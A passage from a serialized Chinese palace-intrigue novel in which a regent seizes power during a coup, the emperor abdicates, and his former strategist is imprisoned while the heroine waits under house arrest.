徐卫三下五除二除下自己一身铠甲,一一换上他沾着莲叶的甲胄,将他的披风系在颈上: “常达被福余三卫追得奔逃半夜,女真人几将常家军杀了个干净。常达直奔紫宸殿而去,不知皇上是否在紫宸殿内。您速去紫宸殿,再耽搁,只怕功亏一篑!” 他木然望着徐卫替他披戴上常家军的铁盔。 “这身盔甲,只可防常家军常达,防不了女真人。您务必小心!”他替李玄白最后系了头盔下的小绳,“已是生死存亡一刻,多年经营,在此一举!” 忽地传来几声遥喝:“摄政王焉在?!搜!” 徐卫披戴好了李玄白的银盔铠甲,晨曦下,那身精良的银盔熠熠生辉: “今日一别,恐不能再见。卫别无所求,唯望吾主行汝之大道,践汝之九五!” 他双手合于胸前,躬身至地,深深一拜: “但行尔道!逐尔志!履至尊!勿反顾!” “卫今拜别!” 话毕,徐卫起身上马,长鞭一抽,骏马急急向前,绝尘而去。 唯有一袭朱红蟠龙披风壮烈似火。 李玄白木木地平躺在湖岸边,静静望天,望了有三刻。 半晌,强撑起身,栽栽歪歪地趔趄着步子,仰头将酒葫芦中的酒一饮而尽。 倏地将那酒葫芦信手抛入湖内,手背抹去面上汗水。 挚友和爱人都离他远去。 再无彷徨的余裕,再无回头路。 他举眸朝紫宸殿望去。 黎明的日光里,紫宸殿的金顶壮阔恢弘。 殿前的金陛长阶已是尸首横陈。 这么多年的蔑视、冷眼、苛待、不公。这么多年的不平之气。这么多年的不甘、不解、不忿、不屈。 所有这一切,终于到了一个了结的时候。 肩头犹自淋漓淌血,湖水腥臭不堪,他提着长剑,不闻也不顾,一双眼只死死盯视着遥遥紫宸殿。 紫宸殿高居皇城之顶。 殿前长阶漫漫,金陛淌血,蜿蜒而下。 环望四面,绫罗满身的贵人惨死于乱刀之下,雕梁漆画的回廊上红血喷溅,四下里一阵震天的喊杀声和马蹄声,白玉桥下的金水河已是赤红,河边尸首堆积成山,得宠的大监、无主的猫狗堆叠在一处。 就连宫道上,也是尸首遍布。 李玄白攥着剑柄,血泪满面,太阳穴青筋暴突,一步一步,缓行上了长阶。 天子之路,绝无反顾。 他已决心如铁。 这么多年……已经等了这么多年。 拳脚打骂之仇、私通其母之仇、远谴天山之仇、佐立奸生子为储之仇。兼虎毒食子之恨、为母所弃之恨,桩桩件件,今有报矣! 他终踏上了玉阶最后一级。 紫宸殿大门洞开,殿内一阵喊杀哀嚎之声,李玄白踏着门槛,最后回身遥望一眼。 天已大亮! 孰胜孰败,孰王孰寇,今日一昭! 第180章 紫宸殿内已是一片荒诞狼藉。 大殿之内早已被常达搜过,遍寻嘉庆帝不得,又气急败坏地打砸过。眼下,已是满地的典籍字帖、笔墨纸砚。八仙桌四个桌脚杵在天上,仙鹤大宝瓶支离破碎,壁上的千里江山长卷被扯了下来,八角漆画宫灯和一双对联亦被扯落在地。 众军士手足无措地呆立在殿门口。 殿中,两人跑得比耗子还欢,绕柱相逐。 嘉庆帝全然不知今夜发生何事,只知自己灯阵遇刺后中了毒,痛得满地打挺、吐泻交加,而后便昏了过去。再一睁眼,一片死寂漆黑,他最惧孤身一人置身黑暗,吓得牙关跟打快板一般,跌跌撞撞地下了榻往前摸索,摸到一面墙,于是一边哭喊,一边乱摸。 摸了半个时辰,也不知摸到什么,咔哒一声,密室墙开了。 与大殿正中,提刀四顾的常达对视了个正着。 常达千辛万苦折返回紫宸殿,又搜一回,仍没见着嘉庆帝的影儿,气得肝胆欲裂眼珠崩突,正欲提着板斧狂劈一番以泄愤,密室门缓——缓——地开了。 嘉庆帝望着他,正是探出头的耗子撞见猫。 双方相见,两两无辜,双双懵了。 常达甲胄披着,双板斧拿着,满地凌乱,双目血红,嘉庆帝便是泻了一晚也知道常达此时在此是为何事,嗷的一嗓子拔腿便跑。 常达:“堵住门窗!绝不容皇上出殿!” 拎斧拔腿便追。 常家军虽在当场,却不敢真对皇上动手,全冷汗淋漓地堵着门窗看着。 大殿地砖光滑,鞋底摩擦地面,两人跑出一点吱吱声。 嘉庆帝甩着袖子哭喊: “舅舅饶命!舅舅饶命!” 常达半个字也无,顿足狂奔如一头癫狂犀牛。 两人绕着柱子狂奔有快十圈。 形势太紧张,两人你滑一脚我滑一脚,吱吱响个不停,人人全聚精会神地瞧着猫捉老鼠。 无人注意一个常家军打扮的甲士,提着剑,一步一步迈上了长阶,入得殿来。 那人蹑手蹑脚跨过了门槛,越过众人,站在殿柱旁边。 两人一边狂追一边打滑,忽然殿内一阵尿骚味,嘉庆帝一脚一个水鞋印,廉耻也顾不得了,滑得手舞足蹈。 见了此人,他神魂俱裂地往一旁摆手:“躲开些!躲开些!” 常达抡着腿飞奔:“不杀你!不杀你!” 忽地在晶黄水渍上滑脱一脚,滋溜一声,岔出一条腿来。 一旁的人手起剑落! 嚓的一声! 一颗浑圆之物陡然甩飞出去,一边抛旋,一边洒血,咚一声落了地,咕噜噜打转。 紫宸殿中,落针可闻。 唯有嘉庆帝一头雾水地兜着柱子转圈圈。 片刻,殿内爆发出一阵凄怆的惨呼: “将军!” “定王!” “我的将军!我的主子啊!将军!” 五大三粗的男人,哭起来声若排山倒海。 嘉庆帝气喘吁吁地扶着柱子站稳,惊魂未定,跑得想呕。 挥剑 人去了铁头盔,抱在怀里,高马尾俊烈一甩,掷盔在地: “苍天有眼,终诛此贼!” 嘉庆帝一见他,滋溜一声又在尿里滑了一脚,换了根易守难攻的柱子,一边倒退,一边摆手: “别杀我……别杀我!阿兄!别杀我,朕求求你……你要什么,朕都……” 李玄白步步紧逼,朝嘉庆帝伸着手: “皇上,您来!本王并不想弑君!” 嘉庆帝连连摇头,已是面如白纸泪流满脸,把着殿柱嘟囔,“别杀我,别杀我!你要什么,朕都答应!皇位!皇位我不要了!阿兄!” 他顿足大哭:“皇位给你!” 得这四字,李玄白心中何止是惬怀,愈发和颜悦色伸着手,缓步靠近: “我不杀你,弟弟。本王怎会弑君!” 嘉庆帝见他步伐缓缓,似是并无取他性命之意,愈发哭嚎: “阿兄若说真的,将剑丢了!” 当啷一声,李玄白掷剑在地。 偌大的紫宸殿内回声阵阵。 李玄白平和伸着手。 嘉庆帝望着他,胸脯急促起伏,满眼血红,歪着脑袋静静打量了他半晌,又兔子似的躲回殿柱后:“朕不相信!你怎会不想杀我!” 李玄白自知十拿九稳,已经松懈下来,一笑,“皇上乃一国之君,又是本王亲弟弟。百姓不会爱戴弑君之人,文武百官更不会。遑论还要担个残害手足之名。皇上不过爱在笑乐园里打会牌,我这做兄长的,何必赶尽杀绝?” 嘉庆帝扒着殿柱,一边卯劲蹭去足底水迹,免得跑起来再滑,一边急喘着窥望他。 李玄白依旧好脾性地等。 常达已死,他是摄政王,只要嘉庆帝肯伸出这只手,他便独掌大权。 今夜这场荒谬惨剧,就此了结;他多年野心抱负,终于得偿。 嘉庆帝打着哆嗦望他,犹豫再犹豫。 还有别的办法吗? 没有了吧。做傀儡皇帝亦比做亡命鬼好。 终于,他抖着胳膊,缓缓伸出手。 “——原来摄政王也在此。” 顾怀瑾轻描淡写地抬步跨过门槛。 大殿之内熹微的晨光倏地黯淡了,长阶之上走来数十人,各个人高马大肩宽腿长,腰佩长刀、衣绣飞鱼,齐齐立于殿前,门口仿佛竖了一排乌压压的栅栏。 众侍卫环立于大殿墙根下,顶天立地。 嘉庆帝立时拔足狂奔,一时没踩稳,扑腾着胳膊飞转回来人身后,被他大袖挡得严严实实。 李玄白心脏当即一绞,连脚趾都冰寒。 都这时候,偏这时候! 只差一步! 就只差这一须臾,他就能控制了这疯子皇帝,叫这姓顾的做什么,他就得做什么! 眼下…… 他默默数着飞鱼卫的人数,越数心越沉。 ——逃不开了。 莫说姓顾的本就一身武功,常人难匹,便是只论他带来的这些飞鱼卫,他今日也逃不脱! 他同这姓顾的本就有宿仇。这男人恨死他了,为了她的事,日日夜夜地嫉恨,他从前在天山上就以逼得他吃醋为乐,今日落在他手里,哪还会有性命! 前一秒夙志得酬,下一秒性命不保,这形势陡然转下,他不甘愤恨已极,急火攻心。 忽地灵光一闪,福至心灵。 他退开半步,手往下压,示意顾怀瑾暂别动手,讥笑但小心翼翼地道: “别忙啊,大清早的。” “不若我们做个交易。” * 南琼霜被云瞒月夹在胳肢窝底下,已经在宫墙上来回奔波了一夜。 即便是被拎着跑,她也已经脚麻了,不知这尊大佛究竟是哪来的精力,竟能在这九千九百九十九间房的茫茫宫城之中,一刻不停地遍搜三遍。 她叹了一口气,无可奈何地挠着眉尾。 昨夜她被云瞒月和李慎舒救下,未等两人细聊,雾刀腾地窜出来,火急火燎地非要她去办门内的新差事不可。 新差事,护摄政王驾。 可是,摄政王去哪了? 两人在宫墙上跳了一夜,就差将那些军士一一掀开头盔瞧了,终是没见着李玄白的人影。 她抬眼瞥了一下云瞒月的神色。 还好,她神色尚无不耐。 南琼霜心里始终有些惶恐不安。 这位被她搬来帮忙的大佛——乃是往生门的新门主。 她早就奇怪。 往生门乃是受人委托,安排人手,替人办事。譬如她被安插在嘉庆帝身侧,是因为有人欲买嘉庆帝的性命;常达身边混了个公孙红,也是因为有人欲置常达于死地。 那么,事情就奇怪了。 常达身边有公孙红,李玄白的金戈侍卫里混了个墨角,菡萏宫里有她一个南琼霜。 顾怀瑾身侧呢? 他这般位置的人,欲买凶杀之的人不会少了,何以他身边无人? 顾怀瑾已经中过极乐堂的暗算,必不可能重蹈覆辙,倘若要再下手,最佳人选,应是出自七杀。 七杀之中最惊艳,云瞒月。 何以云瞒月一直京中待命,四面驰援,无所事事? 差不离的原因只有一个。 云瞒月并不是能轻易调动的七杀堂刺客。 况且,她奉命去定王府上杀常达那日,未免太悠哉了。 铠甲也不披,朱缨戟也不拿,拎着把白折扇上了战场。 墨角将定王首级之功看得何等重要,那可是攸关七杀堂主之位的大事。 云瞒月纵是有太上老君的本领,若真拿七杀堂主之位当回事,也不会如此随意罢? 脚下琉璃瓦顶一片一片地过,天已破晓,天顶仍黑隆隆的,东边掀开了一条金缝。 南琼霜望着日出,满天金云映在眼里。 既然云瞒月是新门主,那么,她要赎身,更加有希望了。 从前,因着往生门门风太酷虐残忍,虽说五个任务可赎身,她也是一半信,一半不信。 但新门主的担子落在了云瞒月头上,事情骤然有了一个大转圜,先前的猜测或许要一把推翻。 也许孙汾说的是真的。 也许真能平平安安地赎身出来。 因为—— 她抬头望着揽着她的人。 领子被风吹得摇动,云瞒月的碎发在白玉红抹额上轻拂不停,天微微泛蓝,晨曦映得她清澈眸底一片晶亮。 云瞒月最是坦荡磊落。 “杀戮道,菩萨心”。 她不会强扣想赎身的人的。 “有了!”云瞒月忽然道,“似乎是摄政王。在紫宸殿里!” 两人骤然落下 半尺,她胃里顿时一阵失重的酸意,双腿一下被风掀起,再一垂眼,倏地已至紫宸殿的雕花窗子外。 殿内犹黑,隔着木花纹,一方形单影只,嚣张自若,一人立于黑压压一群大内侍卫之前,面沉如水。 双方对峙,剑拔弩张,一触即发。 云瞒月折扇不知怎么一转一剜,砰一声,那雕花窗棂炸为两半,木屑擦着两人发丝衣角而过。 未待窗棂碎片坠地,两人足尖踏地,在双方之中霍然插身,拂袖而立。 飞鱼卫和常家军顿时一阵大骇。 这半路杀来的人,竟是貌美病弱的珍妃! 南琼霜旋身站稳,一抬眼。 李玄白高马尾已经塌下三分,灰泥满面,铁铠甲边缘滴答滴答往下掉着血珠子,英俊眉眼衬着猩红的血,艳丽凶恶。 此等态势,于他已是绝境,他眉梢那点不屑笑意犹自不减。 再一转身。 顾怀瑾无言立于云瞒月身前,乌黑绸带底下一张脸孔白且凛冽,一言不发。 殿内已是一片大乱,满地烛台倾倒,常家军、飞鱼卫和禁军将双方团团包围,四处尿液血泊,两人脚边一具无头尸首,肩宽背阔,一颗马球般的头,血漫成一片沼泽。 她不必想,也知道是谁。 那么,只要拿下了李玄白,顾怀瑾今日便大功毕成,可以身退了。 于他,成败在此一举。 她小心将目光转回面前人面上。 四目相对,她挡在李玄白身前,顾怀瑾望得她芒刺在背。 她闪烁着眼神,半刻,干脆转回身去,朝李玄白使了眼色。 李玄白见她突闯进来横插一脚,正洋洋自得地笑睨着对面那人,忽地见她回身过来,神不知鬼不觉地往她身前那女人一瞥。 他于是会意。 她带了人来救他! 南琼霜在最风口浪尖的一刻横插一脚,唯有一半是为奉往生门之命。 另一半的心思,是她无法对顾怀瑾明言的。 多年情分,彼此照应。从天山到洛京,两个人脾性相投,互相遮掩过多少事,没有情爱,也有恩情。 知道他与顾怀瑾斗得你死我活,可是正如兰阁之夜留他一命,今日,她亦不想李玄白死。 多年相知相助,总不能叫他帮忙都帮进狗肚子里去了。 殿中静得连众军士紧张的呼吸声都听得见。 顾怀瑾已如一座气势骇人的沉默的刀山。 她头皮发麻地顶着他的视线,细细感受着身后人的动静。 走吧,快走吧,今日便是最后一别了。 云瞒月可于千军之中带他破阵而出,一旦他出宫,顾怀瑾会即刻以嘉庆帝之名发下一封诏令,废黜他摄政王的名号。 从此以后,虽则是与权柄无缘,至少性命可保。徜徉山水也好,纵马江湖也罢,总好过落于顾怀瑾之手,成王败寇,命丧黄泉。 顾怀瑾静默无声地凝视她,几近窒息。 他呕心沥血谋算了多少个日夜,多少夜里辗转不成眠,终于逼得他这不共戴天的死敌命数将尽。 可是,这场及时雨,竟然是她下的! 他后知后觉地发觉自己骨骼咯吱作响,仿佛骨头架子蛀空了,皮囊再威势逼人,也摇摇欲坠。 南琼霜只是半垂着眼睫,不与他视线相接。 军士中有些机灵的,瞧着这三人,多少品出些不对,来来回回地在三人面上瞟。 半晌,顾怀瑾开了口: “敢问娘娘站在摄政王身前是何意。” 嘉庆帝从顾怀瑾身后弹出个仓皇脑袋: “珍妃!不是你顾表兄妹情谊的时候了!还不给朕过来!” 南琼霜讥笑了一下,她都光明正大地用轻功夹在两人之间了,这疯子皇帝,还没明白吗? 顾怀瑾横臂将嘉庆帝挡回去,前迈一步,只有两个字: “娘娘。” 南琼霜有些窒息。 殿内人人惊惶,风雨飘摇,他周身一股沉郁绝望之气,生生克制到面上半分不显,轻轻吸气: “娘娘可知……你可知,方才,他同我说过什么。” “他早与往生门有往来,早可以叫你赎身出来,却袖手旁观。若非他今日自己走投无路,求我放他一马,他仍未想着助你脱身。” “你竟然还同他站在一处。”他问,“你要救他?” “我不是同他站在一处。”见他脸色已经惨痛太过,南琼霜简直于心不忍,“是因为……” 她深深朝云瞒月背影瞥了一眼,把一切都推卸下去。 顾怀瑾紧抿了唇,艰难润了润嗓子。 白着脸匀了片刻呼吸,越过她,深吸一口冷气: “摄政王之请,恕顾某不能允。” “摄政王窥伺神器,逼胁亲弟,恶贯满盈,大逆不道。这种人,如何能留在皇上身侧,非刑勠不足以安社稷。” “至于娘娘与往生门,顾某心中有数,自有办法,毋需摄政王忧心。” 话毕,玉山般的身影掩去殿门口矩形的黎明,他负手回身,吩咐: “带下去,押入诏狱。” 果然。 南琼霜心里一块重石咣地下落,紧着给李玄白递了一个眼神。 云瞒月亦是了然,一只手按上李玄白的肩膀。 他正正伤在肩上,痛得歪了一下,谁料,却好死不死地站着不动,嗤笑一声。 南琼霜恼了三分,半回过身瞟他。 这人究竟搞什么名堂?! 事已至此,常家军失了主子,满殿都是他顾怀瑾的人,皇上跟个小鸡崽子似的跟在他身后,此时此地,他要保命,还能有什么更好的法子? 简直不知好歹! 尽早与云瞒月出了宫便是了!你又能活,顾怀瑾又能功成身退,旁路生什么枝节! 却听李玄白散漫道了一句: “皇上,你当真信得过这姓顾的吗?” 大殿之内,回声悠悠。 满殿军士迷惑不解,面面相觑。 李玄白依旧笑得自若。 南琼霜一瞬明白他此话何意。 瞬间冷汗满身。 顾怀瑾虽有权,可是,那是因嘉庆帝肯放权。嘉庆帝若与他离心,他必然当场倒台! 这疯子皇帝若倒戈,满殿禁军和飞鱼卫,兵刃所向,必然更易! 天破晓但未大亮,大殿凄凄笼罩在难以揣度的黑暗中,人人头戴铁盔,被盔甲罩上一层沉沉阴影。 人人都看不清五官。 李玄白半边脸孔染血,半边脸孔隐于黑暗,星星点点的血滴子溅湿眉睫,仿佛面上开了朵彼岸花。 狰狞、妖艳、不祥。 嘉庆帝脚步打着滑,顿了一瞬,迷茫地折身回望。 李玄白徐徐笑开,继续道: “就这么跟着这姓顾的走了,结局如何,你细想过吗?” “福余三卫是他强留在京中的。结果如何?正是女真人意图行刺。常达的王爵也是他一意孤行封的。结果如何?带兵杀进宫了。” “不仅杀进了宫,还闯入您的寝殿,拎着大斧头追着您劈呢。” 嘉庆帝扯着顾怀瑾的袖摆,不敢与李玄白对视,猫着脑袋朝背后摆手: “先生有先生的打算,朕不追究。” “皇上。”顾怀瑾半回过身,长发披垂下来,露出一点英挺轮廓,“今夜正是福余三卫逼得常家军溃不成军。一群贪财之徒,骁勇善战,却不忠诚,最宜引入翁内,助您捉鳖。” “正是,正是。”嘉庆帝赔着笑望他,“朕信先生。” “便是姓顾的早有谋划,他这计划,也未将您的安危考虑其中。”李玄白捻着小耳坠讥笑,“他不知常达欲对您不利吗?没料到女真人也许会行刺吗?他在乎吗?您昨夜遇刺,一半是因他放任。若是早将福余三卫逐出京去,您昨夜烂肠破腹之痛,根本也不必受。” 嘉庆帝笑弧凝在脸上,片刻,咬着牙,唇角却愈发往耳根底下扳去,摆着手欲出殿。 李玄白不紧不慢地追了一句: “况且,您仍没发觉,这姓顾的瞒过你多少吗?” 嘉庆帝跨着门槛的腿,终于停在半空。 顾怀瑾脚步顿止。 李玄白复又冷嘲一声: “宫中大乱,他将您放在紫宸殿后的密室之中。您殿后有密室之事,您自己知道吗?他知道,他同您说过吗?” “常达攻进宫中,虽是因密谋行刺之事败露,又焉知没有他从中运作。若是他有意促成,挑得两虎相斗,这么大的事,他同您知会过吗?半个字也没给您透漏,才叫您误打误撞出了密室,刚巧与常达相对!若无我,您或许早已命丧双斧之下!” 嘉庆帝背影僵得仿佛拓印在殿门之中,连袖角都一动不动。 “再者,珍妃身份有疑,您在一旁瞧了这么久,也该瞧明白了吧?他早知珍妃会武功,有身份,伴您身侧,其心可疑,可是,同您说过半个字吗?” “他瞒着您的事究竟还有多少!您当真能信他吗!?” 嘉庆帝的呼吸愈发粗重,呼哧作响,气喘如牛。 “皇上。”顾怀瑾终于全转过身来,与嘉庆帝正面相对,“摄政王不过垂死挣扎,负隅顽抗,欲加无谓之罪,使你我离心而已。您弃我不用,落在他手中,一定是个软禁至死的结果。今日杀了摄政王,您才能在龙椅上高枕无忧。” 李玄白只嗤笑一声,“‘高枕无忧’。他在朝中,您真能高枕无忧吗?李景泰那厮同您打樗蒲,您赌输了想给他个官儿做做。已经过了这么久,给成了吗?他在您手底下,您这皇帝,只怕也如傀儡一般!” 嘉庆帝倏地抬头望着顾怀瑾,呼呼喘气。 顾怀瑾终于皱了眉:“皇上,二虎剿尽之后,顾某本也不欲再过问朝堂之事,唯欲归隐无量山。皇上若担忧顾某专权,顾某今日可在此给皇上一个保证。摄政王身死之后,三日之内,顾某离京。” “说得倒真是好听。可是,他瞒着您的事已经有多少,您真敢信他吗?!”李玄白又笑,“告诉您吧!他与珍妃之间,有多少事,您知道吗?” 嘉庆帝骤然折身回来望着李玄白,双目发红,浑身微微抽动。 “珍妃是他相好,两个人在宫闱之内私通已久。” “早在天山之上,两个人就情投意合,三书六聘订过婚!我在天山上与这姓顾的乃是同门,是以我全知晓!” “即便在宫中重逢,两人也未断情,在您眼皮子底下还要眉来眼去。珍妃上无量山采药,根本是姓顾的编的说辞,两人在无量山过的是何种无耻日子,我都不敢想!” 嘉庆帝一句一句听着,太阳穴青筋嘣嘣地跳,每一句都如短刀刺入耳朵,吱噶作响。 他的女人当真被人沾染过! 皇位,他不敢硬争,谁僭越无礼他都睁一只眼闭一只眼。 可是,竟连一个女人!也要抢! 连他区区一个谋士,无权无爵无军的谋士!也敢给他如此难堪! 李玄白手中长剑朝顾怀瑾斜斜一指,“您若不信,大可叫人去江湖上寻他当年那未婚妻的画像,一看便知!” 顾怀瑾虽未动作,脸孔却已经苍白如纸,一触即破。 嘉庆帝腾地抬起脸来死死盯视他,眼鼻口都几乎要喷血: “摄政王所言为真?!” 顾怀瑾:“皇上……” 嘉庆帝歇斯底里如狂吠:“朕、问、你,摄政王所言为真?!” “摄政王此言不虚!”常家军失了主子,急着投诚,七嘴八舌地插进来,“此人自戕时,口里曾经念着一个女人的名字。我们主子听闻,派人去查此人昔年往事,有混过江湖的弟兄找来了那女子的画像,确与珍妃长得一模一样!” 顾怀瑾于是半个字也没有了。 嘉庆帝瞪视着他,呼哧带喘,目眦欲裂。 整个大殿之内唯有嘉庆帝一抽一抽的吸气声。 他喘得如一头血管爆裂的牛。 李玄白自得笑着,缓缓朝嘉庆帝伸出一只手: “皇上,您是九五之尊,万民之主。您一言,可以让这满殿飞鱼卫抓我,也可叫这姓顾的顷刻倒台,沦为丧家之犬。” 他轻轻吐字: “您真要把手中权柄,放给一个欺瞒主上之人吗?” “皇上!”顾怀瑾急急道,“后宫艳闻事小,此时并非争论谁秽乱宫闱、谁通□□乱之时,难道要在这般关头,要顾某为此妄言,剖腹自明吗!” “此时错信奸人,功亏一篑!摄政王亲军已至洛京城下,若不除摄政王,您永无宁日!” 嘉庆帝猩红怒瞪的双目,缓缓眨了一瞬,眼珠浊黄,幽魂似的朝李玄白瞥去。 “他要您废我,非是为了您皇位坐得安稳,而是为将您掌握于他一手之中。”李玄白话吐得不疾不徐,“皇上身子不好,说到底,不过是他辅佐您,抑或我辅佐您的问题。我可是您亲哥哥!” 顾怀瑾冷笑:“这时候倒论起亲情来了。待到摄政王位子坐稳了,可就未必顾忌手足之情了!” “对,手足之情是无用,可是姓顾的连这点手足之情都无呢。”李玄白只是笑,“即便我这摄政王的名号保住了,也绝不会动您一根手指。我敢对着宗庙祖宗发誓!我若要杀您,方才就杀了,怎会等到这姓顾的横插一脚!” 嘉庆帝听闻此言,蓦地凝视着李玄白,久久不错眼珠。 南琼霜紧张得手掌麻了一半,浑身如坠冰窟。 殿内落针可闻。 “您即便除了我,还是要落到姓顾的手里,不然便是落在姓顾的一党的手里!朝中连老相王茂行都是他的人!他已欺骗您至此,您真能信他吗?!” 李玄白再向嘉庆帝重重摊开手掌,“我对着苍天祖宗发誓!摄政王名号若保住,皇上待我有恩,便是亲军临城,我也绝不赶尽杀绝!到时,我在前朝操劳,您在笑乐园享福——” 嘉庆帝混乱癫狂的眼睛里,忽地蓄了点光亮。 笑乐园。 其实,两人争得太乱,他又是个不灵光的东西,听得浑浑噩噩,只有三分进了耳朵。 但有一件事他很清楚。 金銮殿未必有笑乐园舒坦。 为了一张龙椅,他已经经历过两回大乱。 第一回,几乎被人自龙椅上拖下来,兵临城下。那一日,连他最宠爱的大监都弃他而逃。 然后是一山二虎之局,常达一碗毒酒。他就此癔病不举。 后来,又是刺杀,穿肠肚烂之痛。 后来,又是宫变。边尿边绕柱奔逃。 后来,又要重回那个位置。九五至尊、万民之主—— 穿肠肚烂之痛、癔病不举之苦。如履薄冰之劳、舔颜谄媚之辛。 被舅舅举着双板斧,绕着柱子劈。被宠爱的后妃日夜监视。唯一一个信任仰仗之人,到了今日,才知连他,都是一个弃他背他之徒! 那把椅子觊觎之人太多,没本事的人只会被它吞噬。 一个逃都无处逃的位子。 历经风雨,他害怕了。 他只想回笑乐园打一辈子牌。 片刻,嘉庆帝轻轻、轻轻地摇了头,在满殿军士众目交汇之中,麻木呢喃: “朕不想当皇帝了。” “朕不想当皇帝了。” “朕不想……” 他流着眼泪和李玄白说: “朕若逊位,皇兄能给我一个容身之处么。” 李玄白含笑颔首。 南琼霜望着众人簇拥间那抹压抑身影,心里只有一个念头。 顾怀瑾完了。 殿外天光终于大明。日头从地平线蹦出来,天上风卷云涌,渐渐地,晦云尽散,一切都清楚、明朗、显豁。 大势已定。 日光投入殿内,李玄白所站之处,正正好好被阳光截出一块。 对面,雕花窗棂筛出一棱一棱、一格一格的影,压在顾怀瑾身上,奢丽阴森。 嘉庆帝掩面垂泪,一步一步走至李玄白身侧,数年隐忍苦斗尽放,连带抛却帝王傲骨与野心,手轻轻朝顾怀瑾一指: “飞鱼卫,抓住他。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第181章 第181章 余下的日子,水一般滑过去。 定王府满门抄斩,常家军被拆分重组,分屯于三地。 毛琳妍受牵连,九月份一个晴朗的艳阳天,赴了黄泉。 朝中定王派的官员全部被清算,外放的外放,贬黜的贬黜,更背运些的,脑袋搬家。 顾怀瑾下了狱。 嘉庆帝封了太上皇。 南琼霜被软禁于菡萏宫中,不得摄政王之令,不准踏出半步。 定王倒了,雾刀无处可去,亦步亦趋地跟在她身侧,偶尔替她带回来些外头的消息。 例如嘉庆帝泡在笑乐园玩牌,后宫妃嫔尽数入了感业寺。王茂行携百官于皇极门前请愿,飞鱼卫以棍棒驱赶。摄政王大赦天下、减免徭役、释放死刑。翰林院草拟檄文,罗织常顾罪名,快马传檄天下。礼部着力准备登基大典,拟定三月之后,摄政王登基。 权柄易主,诸事繁冗,李玄白忙得脚不沾地,南琼霜望黄了窗下的叶,也没见菡萏宫庭院大门一开。 她已经等得心力憔悴、希望枯竭。 这些日子,雾刀每回带来消息,她都听得心惊肉跳。 可是,一条一条捱过去,始终没听到她最想听的一条。 顾怀瑾下狱,李玄白究竟打算如何处置? 人人都说顾怀瑾必死无疑。说实话,若由她来看,也觉得他必死无疑。 可是。 她一只手臂长伸在小案上,头倚着手臂,呆呆望着枝桠上的黄叶。 可是,总还抱了点侥幸念头,觉得他命数未尽,总会有转机。 若说转机…… 转机全系于李玄白的考量。 李玄白若不来见她…… 她不敢细想了。眼睛已经睁得刺痛干涸,她慢吞吞眨了眨眼,阖着眼帘,不愿意再睁开。 初秋微凉的风轻轻拂过额际碎发。 一阵风过,咻的一声。 雾刀:“又回来了。姑奶奶您猜外头怎么着?” 南琼霜闭着眼,憔悴无力,懒得应。 雾刀:“外头都骂姓顾的呢!说什么专权啊欺主啊,什么狗子野心啊,什么想把紫禁城掉个个来踩在脚底下啊,什么想在皇上头上撒尿啊,什么猪狗不如啊。外头挂了檄文,还挂了他的画像,那画叫老百姓给作践完了。” 她睁开一丝眼缝,没力气回答。 雾刀兜圈子绕到她眼皮子底下,蹲下:“怎么不说话?您差事到底还办不办了?姓顾的还救不救?您再不想法子,姓李的可就要动手了,您可知道,外边都猜那姓顾的何时死呢!一个算命的瞎子说,也就再活七天!” 南琼霜越听,心脏越绞痛,脸孔换了个方向,不去瞧他。 雾刀咻咻挪了个方向:“诶,您倒是想辙啊,这功夫睡什么午觉啊!没到收网的时候呢,姓顾的可不能死!他死了,您,您这差事不就白忙了吗!” 想法子,想法子。 该想法子,莫非她不知道吗?若是想得出来,还说什么! 她食指往窗外一指,冷冷吐字:“滚。” 雾刀更急,换了个方向探头瞅她。 南琼霜掀开一点眼皮:“朝廷中有没有什么事?” 雾刀:“朝廷里下血雨啦。姓李的杀翻天了。姓常的、姓顾的同党被杀尽了,前些日子,有百十个老头跪在皇极门外,给姓顾的求情,叫那帮飞鱼什么家伙打得跟烂木头一般。腰断的也有,腿断的是也有,我瞧啊,那些老头子,活不下几个。” 南琼霜一句话也没有,木木地将额头抵在手臂上,闭了眼睛。 “要不说,您赶紧想法子!姓顾的同党都如此,他自己该当如何,您再不想辙,只怕姓李的要把他刨成丝儿补身子喽!” 窗外一两声叽叽鸟鸣。南琼霜把眼睛埋在手肘间,疲乏已极,长叹一声。 窗下两个太监正玩骰子,窗开着,声音清晰传进来:“你赌那国贼几时挨摄政王的断头刀?” 另一个嘻嘻笑:“半个月,我瞧着也就半个月。摄政王这功夫忙呢,怕顾不得。” “半个月?!”那太监洋洋得意将碗一扣,摇骰子摇得震天响,“告诉你吧,昨儿个小爷我夜观天象,一看,那国贼也就三日活头!” 南琼霜心烦已极,蛛罗丝一出,砰的一声将窗撂下。 雾刀咂咂嘴。自从她奉命救摄政王驾,武功身份全败露了,结果掌权的人成了早知根知底的李玄白,她暴露了,依旧稳稳地在菡萏宫里坐着。 眼下,是遮掩都懒得遮掩了。 良久,她干涩开了口:“去盯摄政王,有事回来报信。若要救姓顾的,唯有叫摄政王回心转意……” 可是如何叫李玄白回心转意,她并不知道。 雾刀得了命令,一转头消失了。 南琼霜一个人趴在小案上。她已经几天几夜地睡不成,熬得头昏脑涨,耳边嗡嗡,此时揉着太阳穴,头痛欲裂。 若要说服李玄白…… 要从情分开口劝他,是别想了。这两人毫无情分可言。 若从时局利害来劝,也是无用。连宫里的猫都晓得斩草除根为宜。 若要拿她的面子,她的人情,去求他放人…… 求人是有代价的。 有些口,一旦开了,她给不起,怕难收场。 可是…… 归根结底,连她自己都明白,李玄白没有任何留他一命的理由。 * 苦熬日子,像煎汤药。什么都做不了,哪里都去不成,什么人都见不到。 她像切成片又风干水分的草药,一遍一遍地在滚水里过,沥出一点苦辣的汤汁。 日子平直、凝固、不变,千篇一律。 顾怀瑾究竟如何处理,一直没有消息。 传来传去,都是风言风语,李玄白始终没有发话。 无人知道李玄白为什么不动手。无人知道李玄白在等什么。 南琼霜从提心吊胆,到心存幻想,到疲惫,到麻木。 李玄白却一直未踏足菡萏宫半步。 虽说他不来,菡萏宫里却日日都是最好的饭菜。一张大圆桌,桌边唯有她一个人,桌上山珍海味有之,她一贯爱的清淡小菜亦有之。 餐餐有大明宫的太监守着,回去报她用了多少,用了哪些,多夹了两口的,翌日必定换了做法,变着花样端上来。 即便是软禁,吃穿用度,他从未短着她。 她恹恹拈了玉箸,端着碗,嚼纸似的咬米粒子。 李慎舒侍在一旁,替她舀了一碗温热鸡汤:“娘娘,虽说被禁足,您多少也要用些,仔细身子。” 南琼霜撩眼皮看她一眼。 她复又变回那副周到样子了,仿佛戏子卸了妆,浓墨重彩的胭脂眉毛被洗去,又变回她身边一个极普通的人。 